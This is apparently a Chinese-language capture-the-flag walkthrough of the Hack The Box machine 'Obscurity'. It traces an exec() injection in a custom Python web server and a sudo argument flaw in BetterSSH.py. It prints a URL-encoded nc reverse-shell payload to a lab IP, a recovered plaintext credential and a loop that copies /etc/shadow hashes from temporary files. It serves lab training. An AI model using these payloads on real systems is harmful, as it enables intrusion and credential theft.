HTB-Obscurity
- 信息收集
- 8080端口
- 立足
- www-data -> robert
- robert -> root
- sudo 注入
- hash捕获
信息收集
8080端口
”如果攻击者不知道你在使用什么软件,你就不会被黑客攻击!“,目标对web的指纹做了某些处理。
“‘SuperSecureServer.py’ in the secret development directory”,接下来我们试试寻找这个秘密开发目录在哪里。
因为网站做了处理,所以目录扫描没法获取更多信息。尝试对SuperSecureServer.py’进行FUZZ。很显然失败了。
现在收集已有的词汇信息做一个字典来试试。目前我们有的词汇:
dev
develop
development
devs
security
secure
secret
然后对表进行首字母大写、全大写做一个小字典。
查看网站源码。
import socket
import threading
from datetime import datetime
import sys
import os
import mimetypes
import urllib.parse
import subprocess
respTemplate = """HTTP/1.1 {statusNum} {statusCode}
Date: {dateSent}
Server: {server}
Last-Modified: {modified}
Content-Length: {length}
Content-Type: {contentType}
Connection: {connectionType}
{body}
"""
DOC_ROOT = "DocRoot"
CODES = {"200": "OK",
"304": "NOT MODIFIED",
"400": "BAD REQUEST", "401": "UNAUTHORIZED", "403": "FORBIDDEN", "404": "NOT FOUND",
"500": "INTERNAL SERVER ERROR"}
MIMES = {"txt": "text/plain", "css":"text/css", "html":"text/html", "png": "image/png", "jpg":"image/jpg",
"ttf":"application/octet-stream","otf":"application/octet-stream", "woff":"font/woff", "woff2": "font/woff2",
"js":"application/javascript","gz":"application/zip", "py":"text/plain", "map": "application/octet-stream"}
class Response:
def __init__(self, **kwargs):
self.__dict__.update(kwargs)
now = datetime.now()
self.dateSent = self.modified = now.strftime("%a, %d %b %Y %H:%M:%S")
def stringResponse(self):
return respTemplate.format(**self.__dict__)
class Request:
def __init__(self, request):
self.good = True
try:
request = self.parseRequest(request)
self.method = request["method"]
self.doc = request["doc"]
self.vers = request["vers"]
self.header = request["header"]
self.body = request["body"]
except:
self.good = False
def parseRequest(self, request):
req = request.strip("\r").split("\n")
method,doc,vers = req[0].split(" ")
header = req[1:-3]
body = req[-1]
headerDict = {}
for param in header:
pos = param.find(": ")
key, val = param[:pos], param[pos+2:]
headerDict.update({key: val})
return {"method": method, "doc": doc, "vers": vers, "header": headerDict, "body": body}
class Server:
def __init__(self, host, port):
self.host = host
self.port = port
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.sock.bind((self.host, self.port))
def listen(self):
self.sock.listen(5)
while True:
client, address = self.sock.accept()
client.settimeout(60)
threading.Thread(target = self.listenToClient,args = (client,address)).start()
def listenToClient(self, client, address):
size = 1024
while True:
try:
data = client.recv(size)
if data:
# Set the response to echo back the recieved data
req = Request(data.decode())
self.handleRequest(req, 0client, address)
client.shutdown()
client.close()
else:
raise error('Client disconnected')
except:
client.close()
return False
def handleRequest(self, request, conn, address):
if request.good:
# try:
# print(str(request.method) + " " + str(request.doc), end=' ')
# print("from {0}".format(address[0]))
# except Exception as e:
# print(e)
document = self.serveDoc(request.doc, DOC_ROOT)
statusNum=document["status"]
else:
document = self.serveDoc("/errors/400.html", DOC_ROOT)
statusNum="400"
body = document["body"]
statusCode=CODES[statusNum]
dateSent = ""
server = "BadHTTPServer"
modified = ""
length = len(body)
contentType = document["mime"] # Try and identify MIME type from string
connectionType = "Closed"
resp = Response(
statusNum=statusNum, statusCode=statusCode,
dateSent = dateSent, server = server,
modified = modified, length = length,
contentType = contentType, connectionType = connectionType,
body = body
)
data = resp.stringResponse()
if not data:
return -1
conn.send(data.encode())
return 0
def serveDoc(self, path, docRoot):
path = urllib.parse.unquote(path)
try:
info = "output = 'Document: {}'" # Keep the output for later debug
exec(info.format(path)) # This is how you do string formatting, right?
cwd = os.path.dirname(os.path.realpath(__file__))
docRoot = os.path.join(cwd, docRoot)
if path == "/":
path = "/index.html"
requested = os.path.join(docRoot, path[1:])
if os.path.isfile(requested):
mime = mimetypes.guess_type(requested)
mime = (mime if mime[0] != None else "text/html")
mime = MIMES[requested.split(".")[-1]]
try:
with open(requested, "r") as f:
data = f.read()
except:
with open(requested, "rb") as f:
data = f.read()
status = "200"
else:
errorPage = os.path.join(docRoot, "errors", "404.html")
mime = "text/html"
with open(errorPage, "r") as f:
data = f.read().format(path)
status = "404"
except Exception as e:
print(e)
errorPage = os.path.join(docRoot, "errors", "500.html")
mime = "text/html"
with open(errorPage, "r") as f:
data = f.read()
status = "500"
return {"body": data, "mime": mime, "status": status}
其中在serveDoc
函数中有两句有注释的代码,并且还有exec
函数。这意味着找到什么地方传进来的path,如果能控制path的值那这个exec
函数就十分危险。
info = "output = 'Document: {}'" # Keep the output for later debug
exec(info.format(path)) # This is how you do string formatting, right?
serveDoc接收一个path参数,再对path进行处理得到新的path。
path = urllib.parse.unquote(path)
urllib.parse会解析url地址。
urllib.parse.unquote会解析url编码过后的url地址。
在handleRequest
里面调用了serveDoc
,跟进handleRequest
函数看看。
def handleRequest(self, request, conn, address):
if request.good:-
document = self.serveDoc(request.doc, DOC_ROOT)
statusNum=document["status"]
else:
document = self.serveDoc("/errors/400.html", DOC_ROOT)
statusNum="400"
body = document["body"]
需要request.good为真才会有可能控制,为假就直接写入/errors/400.html了。跟进后发现listenToClient
函数。
def listenToClient(self, client, address):
size = 1024
while True:
try:
data = client.recv(size)
if data:
# Set the response to echo back the recieved data
req = Request(data.decode())
self.handleRequest(req, client, address)//处于一个无限循环中
client.shutdown()
client.close()
else:
raise error('Client disconnected')
except:
client.close()
return False
跟进listenToClient
到class Server
。
class Server:
def __init__(self, host, port):
self.host = host
self.port = port
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.sock.bind((self.host, self.port))
def listen(self):
self.sock.listen(5)
while True:
client, address = self.sock.accept() #accept()接收客户端的请求并返回一个套接字给client,连接地址给address。
client.settimeout(60)
threading.Thread(target = self.listenToClient,args = (client,address)).start()
OK最后一步找到定义的位置。
class Request:
def __init__(self, request):
self.good = True #一来self.good为真
try:
request = self.parseRequest(request)
self.method = request["method"]
self.doc = request["doc"]
self.vers = request["vers"]
self.header = request["header"]
self.body = request["body"] #对method、doc、vers、header、body进行获取,如果是正确的格式就不会让self.good改变。
except:
self.good = False
def parseRequest(self, request):
req = request.strip("\r").split("\n")
method,doc,vers = req[0].split(" ")
header = req[1:-3]
body = req[-1]
headerDict = {}
for param in header:
pos = param.find(": ")
key, val = param[:pos], param[pos+2:]
headerDict.update({key: val})
return {"method": method, "doc": doc, "vers": vers, "header": headerDict, "body": body}
OK让我们再来梳理一遍,我们想控制serveDoc
函数里面的exec(info.format(path))
,path就是我们的url地址;那么是谁调用了serveDoc,是handleRequest
,在handleRequest
函数中需要满足request.good为真才能完成调用;那么又是谁调用了handleRequest以及是谁在控制request.good,是listenToClient
调用了handleRequest,并且通过Request类
来控制request.good
,所以我们只要保证数据该有啥有啥就行了。
现在来测试一下
info = “output = ‘Document: {}’” # Keep the output for later debug
exec(info.format(path))
经过不断地调整找到了注入代码。
立足
ping 测试成功。
rm%20/tmp/f;mkfifo%20/tmp/f;cat%20/tmp/f|/bin/sh%20-i%202>&1|nc%2010.10.14.31%204443%20>/tmp/f
www-data -> robert
在robertde家目录下有几个很有意思的文件。
check.txt
用我的key通过SuperSecureCrypt.py加密check.txt后会产生out.txt。
相当于check.txt + KEY -> SuperSecureCrypt.py= out.txt。我们都知道了其中三个,那这个key应该能很好推出来。
明文-钥匙的ASCII码小于255,因为我们明文中最大的字符是y,ASCII码是121。而key的ASCII码有三种可能,每一种都不会超过255,所以就相当于chr(ord(newChr) + ord(keyChr))
查看发现因为负数,chr无法处理。
加上绝对值
似乎这一长串就是key。
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robert:SecThruObsFTW
robert -> root
sudo 注入
id有adm组,adm组允许访问/var/log日志文件,有时候可能会导致有些日志文件泄露敏感信息。
查看一下BetterSSH.py的权限呢。
import sys
import random, string
import os
import time
import crypt
import traceback
import subprocess
path = ''.join(random.choices(string.ascii_letters + string.digits, k=8))
#生成8位随机小写大写数字组合的字符串
session = {"user": "", "authenticated": 0}
try:
session['user'] = input("Enter username: ")
passW = input("Enter password: ")
#获取user和passW
with open('/etc/shadow', 'r') as f:
data = f.readlines()
data = [(p.split(":") if "$" in p else None) for p in data]
#获取拥有密码的用户并将用户密码给data,其中包括很多为空的信息。
passwords = []
for x in data:
if not x == None:
passwords.append(x)
#把data中空的信息过滤掉并附加到passwords中。
passwordFile = '\n'.join(['\n'.join(p) for p in passwords])
#对passwords的内容再次进行处理,每一个数据之间添加一个\n,。同一用户之间数据会有一个换行符相隔,不同用户数据会有多个换行符。
with open('/tmp/SSH/'+path, 'w') as f:
f.write(passwordFile)
#在/tmp/SSH目录下创建一个以上面path生成的字符串为名的文档,并将处理好的内容写进去。
time.sleep(.1) #系统挂起0.1秒
salt = ""
realPass = ""
for p in passwords:
if p[0] == session['user']:
salt, realPass = p[1].split('$')[2:] #如果p[0]和前面我们输入的user一致才能进入此句,密码哈希的盐和密码分开存储。
break
if salt == "": #盐为空代表没密码,进行清理工作并退出。
print("Invalid user")
os.remove('/tmp/SSH/'+path)
sys.exit(0)
salt = '$6$'+salt+'$' #重新修改hash类型,$6$为sha512crypt。
realPass = salt + realPass #重新组装密码hash
hash = crypt.crypt(passW, salt) #调用crypt对我们输入的密码用新盐进行加密。
if hash == realPass: #如果我们输入的密码通过加密后等于前面获取的/etc/shadows的hash则完成验证。
print("Authed!")
session['authenticated'] = 1
else:
print("Incorrect pass") #后面就是验证失败的处理方法
os.remove('/tmp/SSH/'+path)
sys.exit(0)
os.remove(os.path.join('/tmp/SSH/',path))
except Exception as e:
traceback.print_exc()
sys.exit(0)
if session['authenticated'] == 1:
while True:
command = input(session['user'] + "@Obscure$ ")
cmd = ['sudo', '-u', session['user']]
cmd.extend(command.split(" ")) #将command和sudo -u root command拼装一起。
proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
o,e = proc.communicate()
print('Output: ' + o.decode('ascii'))
print('Error: ' + e.decode('ascii')) if len(e.decode('ascii')) > 0 else print('')
大致了解完脚本的工作方式后脑子里应该有一个初步的进攻模型了,先寻找我们能够控制的地方。
- session[‘user’] = input("Enter username: ")中的user
- passW = input("Enter password: ")中的passW
user第一次使用是在 if p[0] == session['user']:
,第二次是在完成hash验证后使用。passW在 hash = crypt.crypt(passW, salt)
中被使用。可能性最大的应该是user,passW就只被用来加密,而user可以被用来拼接输入的命令的cmd = ['sudo', '-u', session['user']]
。
运行程序看看。
发现没有/tmp/SSH文件。
创建好文件后并使用robert凭证验证。
来想想怎么注入sudo,最容易想到应该就是下图这样的吧。
要注入sudo的锁是 if p[0] == session['user']:
看了一下python的文档,貌似没有像php弱等于的问题。是时候跳出兔子洞了。再次回头会发现有第三个输入点。就是command。
原本是sudo -u robert command,我们输入 id;sudo -u root id,来组成sudo -u robert id;sudo -u root id。
脚本不支持分号连接语句。
经过测试发现sudo -u kali id root可以使用root权限来执行id。
并且发现是按id后面的用户来执行对应权限。
但是这个有一个问题,只支持没有参数的命令,不然会把root当作扩展。
改成-u root id也能成功,但是在攻击机上无法完成。
hash捕获
当我们输入的密码没有通过验证后,就会将生成在/tmp/SSH的某个文件删除,那个文件存有重新处理过的/etc/shadow内容。
while true;do cat * /tmp/SSH >> /tmp/shadow;done